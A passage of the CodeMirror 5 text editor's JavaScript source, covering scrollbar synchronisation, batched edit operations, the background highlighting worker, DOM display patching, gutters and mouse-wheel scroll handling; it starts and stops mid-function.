    if (this.disableHoriz) { this.enableZeroWidthBar(this.horiz,
this.disableHoriz, "horiz"); }
  };

  NativeScrollbars.prototype.setScrollTop = function (pos) {
    if (this.vert.scrollTop != pos) { this.vert.scrollTop = pos; }
    if (this.disableVert) { this.enableZeroWidthBar(this.vert,
this.disableVert, "vert"); }
  };

  NativeScrollbars.prototype.zeroWidthHack = function () {
    var w = mac && !mac_geMountainLion ? "12px" :
"18px";
    this.horiz.style.height = this.vert.style.width = w;
    this.horiz.style.pointerEvents = this.vert.style.pointerEvents =
"none";
    this.disableHoriz = new Delayed;
    this.disableVert = new Delayed;
  };

  NativeScrollbars.prototype.enableZeroWidthBar = function (bar, delay,
type) {
    bar.style.pointerEvents = "auto";
    function maybeDisable() {
      // To find out whether the scrollbar is still visible, we
      // check whether the element under the pixel in the bottom
      // right corner of the scrollbar box is the scrollbar box
      // itself (when the bar is still visible) or its filler child
      // (when the bar is hidden). If it is still visible, we keep
      // it enabled, if it's hidden, we disable pointer events.
      var box = bar.getBoundingClientRect();
      var elt = type == "vert" ?
document.elementFromPoint(box.right - 1, (box.top + box.bottom) / 2)
          : document.elementFromPoint((box.right + box.left) / 2,
box.bottom - 1);
      if (elt != bar) { bar.style.pointerEvents = "none"; }
      else { delay.set(1000, maybeDisable); }
    }
    delay.set(1000, maybeDisable);
  };

  NativeScrollbars.prototype.clear = function () {
    var parent = this.horiz.parentNode;
    parent.removeChild(this.horiz);
    parent.removeChild(this.vert);
  };

  var NullScrollbars = function () {};

  NullScrollbars.prototype.update = function () { return {bottom: 0, right:
0} };
  NullScrollbars.prototype.setScrollLeft = function () {};
  NullScrollbars.prototype.setScrollTop = function () {};
  NullScrollbars.prototype.clear = function () {};

  function updateScrollbars(cm, measure) {
    if (!measure) { measure = measureForScrollbars(cm); }
    var startWidth = cm.display.barWidth, startHeight =
cm.display.barHeight;
    updateScrollbarsInner(cm, measure);
    for (var i = 0; i < 4 && startWidth != cm.display.barWidth
|| startHeight != cm.display.barHeight; i++) {
      if (startWidth != cm.display.barWidth &&
cm.options.lineWrapping)
        { updateHeightsInViewport(cm); }
      updateScrollbarsInner(cm, measureForScrollbars(cm));
      startWidth = cm.display.barWidth; startHeight = cm.display.barHeight;
    }
  }

  // Re-synchronize the fake scrollbars with the actual size of the
  // content.
  function updateScrollbarsInner(cm, measure) {
    var d = cm.display;
    var sizes = d.scrollbars.update(measure);

    d.sizer.style.paddingRight = (d.barWidth = sizes.right) +
"px";
    d.sizer.style.paddingBottom = (d.barHeight = sizes.bottom) +
"px";
    d.heightForcer.style.borderBottom = sizes.bottom + "px solid
transparent";

    if (sizes.right && sizes.bottom) {
      d.scrollbarFiller.style.display = "block";
      d.scrollbarFiller.style.height = sizes.bottom + "px";
      d.scrollbarFiller.style.width = sizes.right + "px";
    } else { d.scrollbarFiller.style.display = ""; }
    if (sizes.bottom && cm.options.coverGutterNextToScrollbar
&& cm.options.fixedGutter) {
      d.gutterFiller.style.display = "block";
      d.gutterFiller.style.height = sizes.bottom + "px";
      d.gutterFiller.style.width = measure.gutterWidth + "px";
    } else { d.gutterFiller.style.display = ""; }
  }

  var scrollbarModel = {"native": NativeScrollbars,
"null": NullScrollbars};

  function initScrollbars(cm) {
    if (cm.display.scrollbars) {
      cm.display.scrollbars.clear();
      if (cm.display.scrollbars.addClass)
        { rmClass(cm.display.wrapper, cm.display.scrollbars.addClass); }
    }

    cm.display.scrollbars = new
scrollbarModel[cm.options.scrollbarStyle](function (node) {
      cm.display.wrapper.insertBefore(node, cm.display.scrollbarFiller);
      // Prevent clicks in the scrollbars from killing focus
      on(node, "mousedown", function () {
        if (cm.state.focused) { setTimeout(function () { return
cm.display.input.focus(); }, 0); }
      });
      node.setAttribute("cm-not-content", "true");
    }, function (pos, axis) {
      if (axis == "horizontal") { setScrollLeft(cm, pos); }
      else { updateScrollTop(cm, pos); }
    }, cm);
    if (cm.display.scrollbars.addClass)
      { addClass(cm.display.wrapper, cm.display.scrollbars.addClass); }
  }

  // Operations are used to wrap a series of changes to the editor
  // state in such a way that each change won't have to update the
  // cursor and display (which would be awkward, slow, and
  // error-prone). Instead, display updates are batched and then all
  // combined and executed at once.

  var nextOpId = 0;
  // Start a new operation.
  function startOperation(cm) {
    cm.curOp = {
      cm: cm,
      viewChanged: false,      // Flag that indicates that lines might need
to be redrawn
      startHeight: cm.doc.height, // Used to detect need to update
scrollbar
      forceUpdate: false,      // Used to force a redraw
      updateInput: 0,       // Whether to reset the input textarea
      typing: false,           // Whether this reset should be careful to
leave existing text (for compositing)
      changeObjs: null,        // Accumulated changes, for firing change
events
      cursorActivityHandlers: null, // Set of handlers to fire
cursorActivity on
      cursorActivityCalled: 0, // Tracks which cursorActivity handlers have
been called already
      selectionChanged: false, // Whether the selection needs to be redrawn
      updateMaxLine: false,    // Set when the widest line needs to be
determined anew
      scrollLeft: null, scrollTop: null, // Intermediate scroll position,
not pushed to DOM yet
      scrollToPos: null,       // Used to scroll to a specific position
      focus: false,
      id: ++nextOpId           // Unique ID
    };
    pushOperation(cm.curOp);
  }

  // Finish an operation, updating the display and signalling delayed
events
  function endOperation(cm) {
    var op = cm.curOp;
    if (op) { finishOperation(op, function (group) {
      for (var i = 0; i < group.ops.length; i++)
        { group.ops[i].cm.curOp = null; }
      endOperations(group);
    }); }
  }

  // The DOM updates done when an operation finishes are batched so
  // that the minimum number of relayouts are required.
  function endOperations(group) {
    var ops = group.ops;
    for (var i = 0; i < ops.length; i++) // Read DOM
      { endOperation_R1(ops[i]); }
    for (var i$1 = 0; i$1 < ops.length; i$1++) // Write DOM (maybe)
      { endOperation_W1(ops[i$1]); }
    for (var i$2 = 0; i$2 < ops.length; i$2++) // Read DOM
      { endOperation_R2(ops[i$2]); }
    for (var i$3 = 0; i$3 < ops.length; i$3++) // Write DOM (maybe)
      { endOperation_W2(ops[i$3]); }
    for (var i$4 = 0; i$4 < ops.length; i$4++) // Read DOM
      { endOperation_finish(ops[i$4]); }
  }

  function endOperation_R1(op) {
    var cm = op.cm, display = cm.display;
    maybeClipScrollbars(cm);
    if (op.updateMaxLine) { findMaxLine(cm); }

    op.mustUpdate = op.viewChanged || op.forceUpdate || op.scrollTop !=
null ||
      op.scrollToPos && (op.scrollToPos.from.line <
display.viewFrom ||
                         op.scrollToPos.to.line >= display.viewTo) ||
      display.maxLineChanged && cm.options.lineWrapping;
    op.update = op.mustUpdate &&
      new DisplayUpdate(cm, op.mustUpdate && {top: op.scrollTop,
ensure: op.scrollToPos}, op.forceUpdate);
  }

  function endOperation_W1(op) {
    op.updatedDisplay = op.mustUpdate &&
updateDisplayIfNeeded(op.cm, op.update);
  }

  function endOperation_R2(op) {
    var cm = op.cm, display = cm.display;
    if (op.updatedDisplay) { updateHeightsInViewport(cm); }

    op.barMeasure = measureForScrollbars(cm);

    // If the max line changed since it was last measured, measure it,
    // and ensure the document's width matches it.
    // updateDisplay_W2 will use these properties to do the actual resizing
    if (display.maxLineChanged && !cm.options.lineWrapping) {
      op.adjustWidthTo = measureChar(cm, display.maxLine,
display.maxLine.text.length).left + 3;
      cm.display.sizerWidth = op.adjustWidthTo;
      op.barMeasure.scrollWidth =
        Math.max(display.scroller.clientWidth, display.sizer.offsetLeft +
op.adjustWidthTo + scrollGap(cm) + cm.display.barWidth);
      op.maxScrollLeft = Math.max(0, display.sizer.offsetLeft +
op.adjustWidthTo - displayWidth(cm));
    }

    if (op.updatedDisplay || op.selectionChanged)
      { op.preparedSelection = display.input.prepareSelection(); }
  }

  function endOperation_W2(op) {
    var cm = op.cm;

    if (op.adjustWidthTo != null) {
      cm.display.sizer.style.minWidth = op.adjustWidthTo + "px";
      if (op.maxScrollLeft < cm.doc.scrollLeft)
        { setScrollLeft(cm, Math.min(cm.display.scroller.scrollLeft,
op.maxScrollLeft), true); }
      cm.display.maxLineChanged = false;
    }

    var takeFocus = op.focus && op.focus == activeElt();
    if (op.preparedSelection)
      { cm.display.input.showSelection(op.preparedSelection, takeFocus); }
    if (op.updatedDisplay || op.startHeight != cm.doc.height)
      { updateScrollbars(cm, op.barMeasure); }
    if (op.updatedDisplay)
      { setDocumentHeight(cm, op.barMeasure); }

    if (op.selectionChanged) { restartBlink(cm); }

    if (cm.state.focused && op.updateInput)
      { cm.display.input.reset(op.typing); }
    if (takeFocus) { ensureFocus(op.cm); }
  }

  function endOperation_finish(op) {
    var cm = op.cm, display = cm.display, doc = cm.doc;

    if (op.updatedDisplay) { postUpdateDisplay(cm, op.update); }

    // Abort mouse wheel delta measurement, when scrolling explicitly
    if (display.wheelStartX != null && (op.scrollTop != null ||
op.scrollLeft != null || op.scrollToPos))
      { display.wheelStartX = display.wheelStartY = null; }

    // Propagate the scroll position to the actual DOM scroller
    if (op.scrollTop != null) { setScrollTop(cm, op.scrollTop,
op.forceScroll); }

    if (op.scrollLeft != null) { setScrollLeft(cm, op.scrollLeft, true,
true); }
    // If we need to scroll a specific position into view, do so.
    if (op.scrollToPos) {
      var rect = scrollPosIntoView(cm, clipPos(doc, op.scrollToPos.from),
                                   clipPos(doc, op.scrollToPos.to),
op.scrollToPos.margin);
      maybeScrollWindow(cm, rect);
    }

    // Fire events for markers that are hidden/unidden by editing or
    // undoing
    var hidden = op.maybeHiddenMarkers, unhidden = op.maybeUnhiddenMarkers;
    if (hidden) { for (var i = 0; i < hidden.length; ++i)
      { if (!hidden[i].lines.length) { signal(hidden[i], "hide");
} } }
    if (unhidden) { for (var i$1 = 0; i$1 < unhidden.length; ++i$1)
      { if (unhidden[i$1].lines.length) { signal(unhidden[i$1],
"unhide"); } } }

    if (display.wrapper.offsetHeight)
      { doc.scrollTop = cm.display.scroller.scrollTop; }

    // Fire change events, and delayed event handlers
    if (op.changeObjs)
      { signal(cm, "changes", cm, op.changeObjs); }
    if (op.update)
      { op.update.finish(); }
  }

  // Run the given function in an operation
  function runInOp(cm, f) {
    if (cm.curOp) { return f() }
    startOperation(cm);
    try { return f() }
    finally { endOperation(cm); }
  }
  // Wraps a function in an operation. Returns the wrapped function.
  function operation(cm, f) {
    return function() {
      if (cm.curOp) { return f.apply(cm, arguments) }
      startOperation(cm);
      try { return f.apply(cm, arguments) }
      finally { endOperation(cm); }
    }
  }
  // Used to add methods to editor and doc instances, wrapping them in
  // operations.
  function methodOp(f) {
    return function() {
      if (this.curOp) { return f.apply(this, arguments) }
      startOperation(this);
      try { return f.apply(this, arguments) }
      finally { endOperation(this); }
    }
  }
  function docMethodOp(f) {
    return function() {
      var cm = this.cm;
      if (!cm || cm.curOp) { return f.apply(this, arguments) }
      startOperation(cm);
      try { return f.apply(this, arguments) }
      finally { endOperation(cm); }
    }
  }

  // HIGHLIGHT WORKER

  function startWorker(cm, time) {
    if (cm.doc.highlightFrontier < cm.display.viewTo)
      { cm.state.highlight.set(time, bind(highlightWorker, cm)); }
  }

  function highlightWorker(cm) {
    var doc = cm.doc;
    if (doc.highlightFrontier >= cm.display.viewTo) { return }
    var end = +new Date + cm.options.workTime;
    var context = getContextBefore(cm, doc.highlightFrontier);
    var changedLines = [];

    doc.iter(context.line, Math.min(doc.first + doc.size, cm.display.viewTo
+ 500), function (line) {
      if (context.line >= cm.display.viewFrom) { // Visible
        var oldStyles = line.styles;
        var resetState = line.text.length >
cm.options.maxHighlightLength ? copyState(doc.mode, context.state) : null;
        var highlighted = highlightLine(cm, line, context, true);
        if (resetState) { context.state = resetState; }
        line.styles = highlighted.styles;
        var oldCls = line.styleClasses, newCls = highlighted.classes;
        if (newCls) { line.styleClasses = newCls; }
        else if (oldCls) { line.styleClasses = null; }
        var ischange = !oldStyles || oldStyles.length != line.styles.length
||
          oldCls != newCls && (!oldCls || !newCls || oldCls.bgClass
!= newCls.bgClass || oldCls.textClass != newCls.textClass);
        for (var i = 0; !ischange && i < oldStyles.length; ++i)
{ ischange = oldStyles[i] != line.styles[i]; }
        if (ischange) { changedLines.push(context.line); }
        line.stateAfter = context.save();
        context.nextLine();
      } else {
        if (line.text.length <= cm.options.maxHighlightLength)
          { processLine(cm, line.text, context); }
        line.stateAfter = context.line % 5 == 0 ? context.save() : null;
        context.nextLine();
      }
      if (+new Date > end) {
        startWorker(cm, cm.options.workDelay);
        return true
      }
    });
    doc.highlightFrontier = context.line;
    doc.modeFrontier = Math.max(doc.modeFrontier, context.line);
    if (changedLines.length) { runInOp(cm, function () {
      for (var i = 0; i < changedLines.length; i++)
        { regLineChange(cm, changedLines[i], "text"); }
    }); }
  }

  // DISPLAY DRAWING

  var DisplayUpdate = function(cm, viewport, force) {
    var display = cm.display;

    this.viewport = viewport;
    // Store some values that we'll need later (but don't want to
force a relayout for)
    this.visible = visibleLines(display, cm.doc, viewport);
    this.editorIsHidden = !display.wrapper.offsetWidth;
    this.wrapperHeight = display.wrapper.clientHeight;
    this.wrapperWidth = display.wrapper.clientWidth;
    this.oldDisplayWidth = displayWidth(cm);
    this.force = force;
    this.dims = getDimensions(cm);
    this.events = [];
  };

  DisplayUpdate.prototype.signal = function (emitter, type) {
    if (hasHandler(emitter, type))
      { this.events.push(arguments); }
  };
  DisplayUpdate.prototype.finish = function () {
    for (var i = 0; i < this.events.length; i++)
      { signal.apply(null, this.events[i]); }
  };

  function maybeClipScrollbars(cm) {
    var display = cm.display;
    if (!display.scrollbarsClipped && display.scroller.offsetWidth)
{
      display.nativeBarWidth = display.scroller.offsetWidth -
display.scroller.clientWidth;
      display.heightForcer.style.height = scrollGap(cm) + "px";
      display.sizer.style.marginBottom = -display.nativeBarWidth +
"px";
      display.sizer.style.borderRightWidth = scrollGap(cm) +
"px";
      display.scrollbarsClipped = true;
    }
  }

  function selectionSnapshot(cm) {
    if (cm.hasFocus()) { return null }
    var active = activeElt();
    if (!active || !contains(cm.display.lineDiv, active)) { return null }
    var result = {activeElt: active};
    if (window.getSelection) {
      var sel = window.getSelection();
      if (sel.anchorNode && sel.extend &&
contains(cm.display.lineDiv, sel.anchorNode)) {
        result.anchorNode = sel.anchorNode;
        result.anchorOffset = sel.anchorOffset;
        result.focusNode = sel.focusNode;
        result.focusOffset = sel.focusOffset;
      }
    }
    return result
  }

  function restoreSelection(snapshot) {
    if (!snapshot || !snapshot.activeElt || snapshot.activeElt ==
activeElt()) { return }
    snapshot.activeElt.focus();
    if (!/^(INPUT|TEXTAREA)$/.test(snapshot.activeElt.nodeName) &&
        snapshot.anchorNode && contains(document.body,
snapshot.anchorNode) && contains(document.body,
snapshot.focusNode)) {
      var sel = window.getSelection(), range = document.createRange();
      range.setEnd(snapshot.anchorNode, snapshot.anchorOffset);
      range.collapse(false);
      sel.removeAllRanges();
      sel.addRange(range);
      sel.extend(snapshot.focusNode, snapshot.focusOffset);
    }
  }

  // Does the actual updating of the line display. Bails out
  // (returning false) when there is nothing to be done and forced is
  // false.
  function updateDisplayIfNeeded(cm, update) {
    var display = cm.display, doc = cm.doc;

    if (update.editorIsHidden) {
      resetView(cm);
      return false
    }

    // Bail out if the visible area is already rendered and nothing
changed.
    if (!update.force &&
        update.visible.from >= display.viewFrom &&
update.visible.to <= display.viewTo &&
        (display.updateLineNumbers == null || display.updateLineNumbers
>= display.viewTo) &&
        display.renderedView == display.view && countDirtyView(cm)
== 0)
      { return false }

    if (maybeUpdateLineNumberWidth(cm)) {
      resetView(cm);
      update.dims = getDimensions(cm);
    }

    // Compute a suitable new viewport (from & to)
    var end = doc.first + doc.size;
    var from = Math.max(update.visible.from - cm.options.viewportMargin,
doc.first);
    var to = Math.min(end, update.visible.to + cm.options.viewportMargin);
    if (display.viewFrom < from && from - display.viewFrom <
20) { from = Math.max(doc.first, display.viewFrom); }
    if (display.viewTo > to && display.viewTo - to < 20) { to
= Math.min(end, display.viewTo); }
    if (sawCollapsedSpans) {
      from = visualLineNo(cm.doc, from);
      to = visualLineEndNo(cm.doc, to);
    }

    var different = from != display.viewFrom || to != display.viewTo ||
      display.lastWrapHeight != update.wrapperHeight ||
display.lastWrapWidth != update.wrapperWidth;
    adjustView(cm, from, to);

    display.viewOffset = heightAtLine(getLine(cm.doc, display.viewFrom));
    // Position the mover div to align with the current scroll position
    cm.display.mover.style.top = display.viewOffset + "px";

    var toUpdate = countDirtyView(cm);
    if (!different && toUpdate == 0 && !update.force
&& display.renderedView == display.view &&
        (display.updateLineNumbers == null || display.updateLineNumbers
>= display.viewTo))
      { return false }

    // For big changes, we hide the enclosing element during the
    // update, since that speeds up the operations on most browsers.
    var selSnapshot = selectionSnapshot(cm);
    if (toUpdate > 4) { display.lineDiv.style.display =
"none"; }
    patchDisplay(cm, display.updateLineNumbers, update.dims);
    if (toUpdate > 4) { display.lineDiv.style.display = ""; }
    display.renderedView = display.view;
    // There might have been a widget with a focused element that got
    // hidden or updated, if so re-focus it.
    restoreSelection(selSnapshot);

    // Prevent selection and cursors from interfering with the scroll
    // width and height.
    removeChildren(display.cursorDiv);
    removeChildren(display.selectionDiv);
    display.gutters.style.height = display.sizer.style.minHeight = 0;

    if (different) {
      display.lastWrapHeight = update.wrapperHeight;
      display.lastWrapWidth = update.wrapperWidth;
      startWorker(cm, 400);
    }

    display.updateLineNumbers = null;

    return true
  }

  function postUpdateDisplay(cm, update) {
    var viewport = update.viewport;

    for (var first = true;; first = false) {
      if (!first || !cm.options.lineWrapping || update.oldDisplayWidth ==
displayWidth(cm)) {
        // Clip forced viewport to actual scrollable area.
        if (viewport && viewport.top != null)
          { viewport = {top: Math.min(cm.doc.height +
paddingVert(cm.display) - displayHeight(cm), viewport.top)}; }
        // Updated line heights might result in the drawn area not
        // actually covering the viewport. Keep looping until it does.
        update.visible = visibleLines(cm.display, cm.doc, viewport);
        if (update.visible.from >= cm.display.viewFrom &&
update.visible.to <= cm.display.viewTo)
          { break }
      } else if (first) {
        update.visible = visibleLines(cm.display, cm.doc, viewport);
      }
      if (!updateDisplayIfNeeded(cm, update)) { break }
      updateHeightsInViewport(cm);
      var barMeasure = measureForScrollbars(cm);
      updateSelection(cm);
      updateScrollbars(cm, barMeasure);
      setDocumentHeight(cm, barMeasure);
      update.force = false;
    }

    update.signal(cm, "update", cm);
    if (cm.display.viewFrom != cm.display.reportedViewFrom ||
cm.display.viewTo != cm.display.reportedViewTo) {
      update.signal(cm, "viewportChange", cm,
cm.display.viewFrom, cm.display.viewTo);
      cm.display.reportedViewFrom = cm.display.viewFrom;
cm.display.reportedViewTo = cm.display.viewTo;
    }
  }

  function updateDisplaySimple(cm, viewport) {
    var update = new DisplayUpdate(cm, viewport);
    if (updateDisplayIfNeeded(cm, update)) {
      updateHeightsInViewport(cm);
      postUpdateDisplay(cm, update);
      var barMeasure = measureForScrollbars(cm);
      updateSelection(cm);
      updateScrollbars(cm, barMeasure);
      setDocumentHeight(cm, barMeasure);
      update.finish();
    }
  }

  // Sync the actual display DOM structure with display.view, removing
  // nodes for lines that are no longer in view, and creating the ones
  // that are not there yet, and updating the ones that are out of
  // date.
  function patchDisplay(cm, updateNumbersFrom, dims) {
    var display = cm.display, lineNumbers = cm.options.lineNumbers;
    var container = display.lineDiv, cur = container.firstChild;

    function rm(node) {
      var next = node.nextSibling;
      // Works around a throw-scroll bug in OS X Webkit
      if (webkit && mac && cm.display.currentWheelTarget ==
node)
        { node.style.display = "none"; }
      else
        { node.parentNode.removeChild(node); }
      return next
    }

    var view = display.view, lineN = display.viewFrom;
    // Loop over the elements in the view, syncing cur (the DOM nodes
    // in display.lineDiv) with the view as we go.
    for (var i = 0; i < view.length; i++) {
      var lineView = view[i];
      if (lineView.hidden) ; else if (!lineView.node ||
lineView.node.parentNode != container) { // Not drawn yet
        var node = buildLineElement(cm, lineView, lineN, dims);
        container.insertBefore(node, cur);
      } else { // Already drawn
        while (cur != lineView.node) { cur = rm(cur); }
        var updateNumber = lineNumbers && updateNumbersFrom != null
&&
          updateNumbersFrom <= lineN && lineView.lineNumber;
        if (lineView.changes) {
          if (indexOf(lineView.changes, "gutter") > -1) {
updateNumber = false; }
          updateLineForChanges(cm, lineView, lineN, dims);
        }
        if (updateNumber) {
          removeChildren(lineView.lineNumber);
         
lineView.lineNumber.appendChild(document.createTextNode(lineNumberFor(cm.options,
lineN)));
        }
        cur = lineView.node.nextSibling;
      }
      lineN += lineView.size;
    }
    while (cur) { cur = rm(cur); }
  }

  function updateGutterSpace(display) {
    var width = display.gutters.offsetWidth;
    display.sizer.style.marginLeft = width + "px";
  }

  function setDocumentHeight(cm, measure) {
    cm.display.sizer.style.minHeight = measure.docHeight + "px";
    cm.display.heightForcer.style.top = measure.docHeight + "px";
    cm.display.gutters.style.height = (measure.docHeight +
cm.display.barHeight + scrollGap(cm)) + "px";
  }

  // Re-align line numbers and gutter marks to compensate for
  // horizontal scrolling.
  function alignHorizontally(cm) {
    var display = cm.display, view = display.view;
    if (!display.alignWidgets && (!display.gutters.firstChild ||
!cm.options.fixedGutter)) { return }
    var comp = compensateForHScroll(display) - display.scroller.scrollLeft
+ cm.doc.scrollLeft;
    var gutterW = display.gutters.offsetWidth, left = comp +
"px";
    for (var i = 0; i < view.length; i++) { if (!view[i].hidden) {
      if (cm.options.fixedGutter) {
        if (view[i].gutter)
          { view[i].gutter.style.left = left; }
        if (view[i].gutterBackground)
          { view[i].gutterBackground.style.left = left; }
      }
      var align = view[i].alignable;
      if (align) { for (var j = 0; j < align.length; j++)
        { align[j].style.left = left; } }
    } }
    if (cm.options.fixedGutter)
      { display.gutters.style.left = (comp + gutterW) + "px"; }
  }

  // Used to ensure that the line number gutter is still the right
  // size for the current document size. Returns true when an update
  // is needed.
  function maybeUpdateLineNumberWidth(cm) {
    if (!cm.options.lineNumbers) { return false }
    var doc = cm.doc, last = lineNumberFor(cm.options, doc.first + doc.size
- 1), display = cm.display;
    if (last.length != display.lineNumChars) {
      var test = display.measure.appendChild(elt("div",
[elt("div", last)],
                                                
"CodeMirror-linenumber CodeMirror-gutter-elt"));
      var innerW = test.firstChild.offsetWidth, padding = test.offsetWidth
- innerW;
      display.lineGutter.style.width = "";
      display.lineNumInnerWidth = Math.max(innerW,
display.lineGutter.offsetWidth - padding) + 1;
      display.lineNumWidth = display.lineNumInnerWidth + padding;
      display.lineNumChars = display.lineNumInnerWidth ? last.length : -1;
      display.lineGutter.style.width = display.lineNumWidth +
"px";
      updateGutterSpace(cm.display);
      return true
    }
    return false
  }

  function getGutters(gutters, lineNumbers) {
    var result = [], sawLineNumbers = false;
    for (var i = 0; i < gutters.length; i++) {
      var name = gutters[i], style = null;
      if (typeof name != "string") { style = name.style; name =
name.className; }
      if (name == "CodeMirror-linenumbers") {
        if (!lineNumbers) { continue }
        else { sawLineNumbers = true; }
      }
      result.push({className: name, style: style});
    }
    if (lineNumbers && !sawLineNumbers) { result.push({className:
"CodeMirror-linenumbers", style: null}); }
    return result
  }

  // Rebuild the gutter elements, ensure the margin to the left of the
  // code matches their width.
  function renderGutters(display) {
    var gutters = display.gutters, specs = display.gutterSpecs;
    removeChildren(gutters);
    display.lineGutter = null;
    for (var i = 0; i < specs.length; ++i) {
      var ref = specs[i];
      var className = ref.className;
      var style = ref.style;
      var gElt = gutters.appendChild(elt("div", null,
"CodeMirror-gutter " + className));
      if (style) { gElt.style.cssText = style; }
      if (className == "CodeMirror-linenumbers") {
        display.lineGutter = gElt;
        gElt.style.width = (display.lineNumWidth || 1) + "px";
      }
    }
    gutters.style.display = specs.length ? "" : "none";
    updateGutterSpace(display);
  }

  function updateGutters(cm) {
    renderGutters(cm.display);
    regChange(cm);
    alignHorizontally(cm);
  }

  // The display handles the DOM integration, both for input reading
  // and content drawing. It holds references to DOM nodes and
  // display-related state.

  function Display(place, doc, input, options) {
    var d = this;
    this.input = input;

    // Covers bottom-right square when both scrollbars are present.
    d.scrollbarFiller = elt("div", null,
"CodeMirror-scrollbar-filler");
    d.scrollbarFiller.setAttribute("cm-not-content",
"true");
    // Covers bottom of gutter when coverGutterNextToScrollbar is on
    // and h scrollbar is present.
    d.gutterFiller = elt("div", null,
"CodeMirror-gutter-filler");
    d.gutterFiller.setAttribute("cm-not-content",
"true");
    // Will contain the actual code, positioned to cover the viewport.
    d.lineDiv = eltP("div", null, "CodeMirror-code");
    // Elements are added to these to represent selection and cursors.
    d.selectionDiv = elt("div", null, null, "position:
relative; z-index: 1");
    d.cursorDiv = elt("div", null,
"CodeMirror-cursors");
    // A visibility: hidden element used to find the size of things.
    d.measure = elt("div", null, "CodeMirror-measure");
    // When lines outside of the viewport are measured, they are drawn in
this.
    d.lineMeasure = elt("div", null,
"CodeMirror-measure");
    // Wraps everything that needs to exist inside the vertically-padded
coordinate system
    d.lineSpace = eltP("div", [d.measure, d.lineMeasure,
d.selectionDiv, d.cursorDiv, d.lineDiv],
                      null, "position: relative; outline: none");
    var lines = eltP("div", [d.lineSpace],
"CodeMirror-lines");
    // Moved around its parent to cover visible view.
    d.mover = elt("div", [lines], null, "position:
relative");
    // Set to the height of the document, allowing scrolling.
    d.sizer = elt("div", [d.mover],
"CodeMirror-sizer");
    d.sizerWidth = null;
    // Behavior of elts with overflow: auto and padding is
    // inconsistent across browsers. This is used to ensure the
    // scrollable area is big enough.
    d.heightForcer = elt("div", null, null, "position:
absolute; height: " + scrollerGap + "px; width: 1px;");
    // Will contain the gutters, if any.
    d.gutters = elt("div", null, "CodeMirror-gutters");
    d.lineGutter = null;
    // Actual scrollable element.
    d.scroller = elt("div", [d.sizer, d.heightForcer, d.gutters],
"CodeMirror-scroll");
    d.scroller.setAttribute("tabIndex", "-1");
    // The element in which the editor lives.
    d.wrapper = elt("div", [d.scrollbarFiller, d.gutterFiller,
d.scroller], "CodeMirror");

    // Work around IE7 z-index bug (not perfect, hence IE7 not really being
supported)
    if (ie && ie_version < 8) { d.gutters.style.zIndex = -1;
d.scroller.style.paddingRight = 0; }
    if (!webkit && !(gecko && mobile)) {
d.scroller.draggable = true; }

    if (place) {
      if (place.appendChild) { place.appendChild(d.wrapper); }
      else { place(d.wrapper); }
    }

    // Current rendered range (may be bigger than the view window).
    d.viewFrom = d.viewTo = doc.first;
    d.reportedViewFrom = d.reportedViewTo = doc.first;
    // Information about the rendered lines.
    d.view = [];
    d.renderedView = null;
    // Holds info about a single rendered line when it was rendered
    // for measurement, while not in view.
    d.externalMeasured = null;
    // Empty space (in pixels) above the view
    d.viewOffset = 0;
    d.lastWrapHeight = d.lastWrapWidth = 0;
    d.updateLineNumbers = null;

    d.nativeBarWidth = d.barHeight = d.barWidth = 0;
    d.scrollbarsClipped = false;

    // Used to only resize the line number gutter when necessary (when
    // the amount of lines crosses a boundary that makes its width change)
    d.lineNumWidth = d.lineNumInnerWidth = d.lineNumChars = null;
    // Set to true when a non-horizontal-scrolling line widget is
    // added. As an optimization, line widget aligning is skipped when
    // this is false.
    d.alignWidgets = false;

    d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;

    // Tracks the maximum line length so that the horizontal scrollbar
    // can be kept static when scrolling.
    d.maxLine = null;
    d.maxLineLength = 0;
    d.maxLineChanged = false;

    // Used for measuring wheel scrolling granularity
    d.wheelDX = d.wheelDY = d.wheelStartX = d.wheelStartY = null;

    // True when shift is held down.
    d.shift = false;

    // Used to track whether anything happened since the context menu
    // was opened.
    d.selForContextMenu = null;

    d.activeTouch = null;

    d.gutterSpecs = getGutters(options.gutters, options.lineNumbers);
    renderGutters(d);

    input.init(d);
  }

  // Since the delta values reported on mouse wheel events are
  // unstandardized between browsers and even browser versions, and
  // generally horribly unpredictable, this code starts by measuring
  // the scroll effect that the first few mouse wheel events have,
  // and, from that, detects the way it can convert deltas to pixel
  // offsets afterwards.
  //
  // The reason we want to know the amount a wheel event will scroll
  // is that it gives us a chance to update the display before the
  // actual scrolling happens, reducing flickering.

  var wheelSamples = 0, wheelPixelsPerUnit = null;
  // Fill in a browser-detected starting value on browsers where we
  // know one. These don't have to be accurate -- the result of them
  // being wrong would just be a slight flicker on the first wheel
  // scroll (if it is large enough).
  if (ie) { wheelPixelsPerUnit = -.53; }
  else if (gecko) { wheelPixelsPerUnit = 15; }
  else if (chrome) { wheelPixelsPerUnit = -.7; }
  else if (safari) { wheelPixelsPerUnit = -1/3; }

  function wheelEventDelta(e) {
    var dx = e.wheelDeltaX, dy = e.wheelDeltaY;
    if (dx == null && e.detail && e.axis ==
e.HORIZONTAL_AXIS) { dx = e.detail; }
    if (dy == null && e.detail && e.axis ==
e.VERTICAL_AXIS) { dy = e.detail; }
    else if (dy == null) { dy = e.wheelDelta; }
    return {x: dx, y: dy}
  }
  function wheelEventPixels(e) {
    var delta = wheelEventDelta(e);
    delta.x *= wheelPixelsPerUnit;
    delta.y *= wheelPixelsPerUnit;
    return delta
  }

  function onScrollWheel(cm, e) {
    var delta = wheelEventDelta(e), dx = delta.x, dy = delta.y;

    var display = cm.display, scroll = display.scroller;
    // Quit if there's nothing to scroll here
    var canScrollX = scroll.scrollWidth > scroll.clientWidth;
    var canScrollY = scroll.scrollHeight > scroll.clientHeight;
    if (!(dx && canScrollX || dy && canScrollY)) { return }

    // Webkit browsers on OS X abort momentum scrolls when the target
    // of the scroll event is removed from the scrollable element.
    // This hack (see related code in patchDisplay) makes sure the
    // element is kept around.
    if (dy && mac && webkit) {
      outer: for (var cur = e.target, view = display.view; cur != scroll;
cur = cur.parentNode) {
        for (var i = 0; i < view.length; i++) {
          if (view[i].node == cur) {
            cm.display.currentWheelTarget = cur;
            break outer
          }
        }
      }
    }

    // On some browsers, horizontal scrolling will cause redraws to
    // happen before the gutter has been realigned, causing it to
    // wriggle around in a most unseemly way. When we have an
    // estimated pixels/delta value, we just handle horizontal
    // scrolling entirely here. It'll be slightly off from native, but
    // better than glitching out.
    if (dx && !gecko && !presto &&
wheelPixelsPerUnit != null) {
      if (dy && canScrollY)
        { updateScrollTop(cm, Math.max(0, scroll.scrollTop + dy *
